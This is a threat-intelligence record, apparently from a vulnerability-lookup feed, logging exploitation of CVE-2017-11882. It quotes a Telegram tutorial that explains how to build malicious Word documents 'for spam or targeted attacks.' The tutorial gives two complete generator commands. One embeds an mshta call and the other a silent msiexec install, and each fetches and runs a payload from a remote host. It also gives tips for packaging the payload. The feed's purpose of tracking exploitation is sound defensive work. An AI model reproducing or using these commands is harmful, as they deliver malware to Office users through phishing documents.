{"uuid": "698a81bb-d4af-467d-a180-54a6006c70e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/viperzcrew1/176", "content": "\ud83d\udcc3 DOC exploit: How to make the simplest exploit for Microsoft Office \ud83d\udcc3\n\nMany of you sometimes need doc exploit, for spam or targeted attacks. Today I will show you how to make a simple exploit.\n\n1\ufe0f\u20e3 To do this, we will need a regular automation script that will generate our CVE https://github.com/Ridter/CVE-2017-11882 (there are new and better but for simple example we use this)\n\n2\ufe0f\u20e3 we see two scripts that are on 43bt and 109bt(restriction on the entered command) we will need 109, because we will not be able to run anything other than the same calculator (restriction). download the script to 109bt\n3\ufe0f\u20e3 METHODS\n\nMSHTA\n\nThe most banal and stupid thing you can do is download mshta,\ncreate a .hta file and add the code to download it, fill it on our site. After entering\n\npython Command109b_CVE-2017-11882.py -c \"mshta http://site.com/abc\" - o test.doc\n\nMSIEXEC\n\nDownload any converter for example this one Exe to msi Converter : http://www.exetomsi.com/\n\nConvert our EXE to msi, fill the msi on our site(if the EXE does not occur, add the sfx archive). \n\nAnd enter\n\npython Command109b_CVE-2017-11882.py -c \"msiexec /q /i http://site.ru/msi.msi\"\n\nhere are two simple examples of how to quickly make a doc exploit.", "creation_timestamp": "2022-09-10T18:57:13.000000Z"}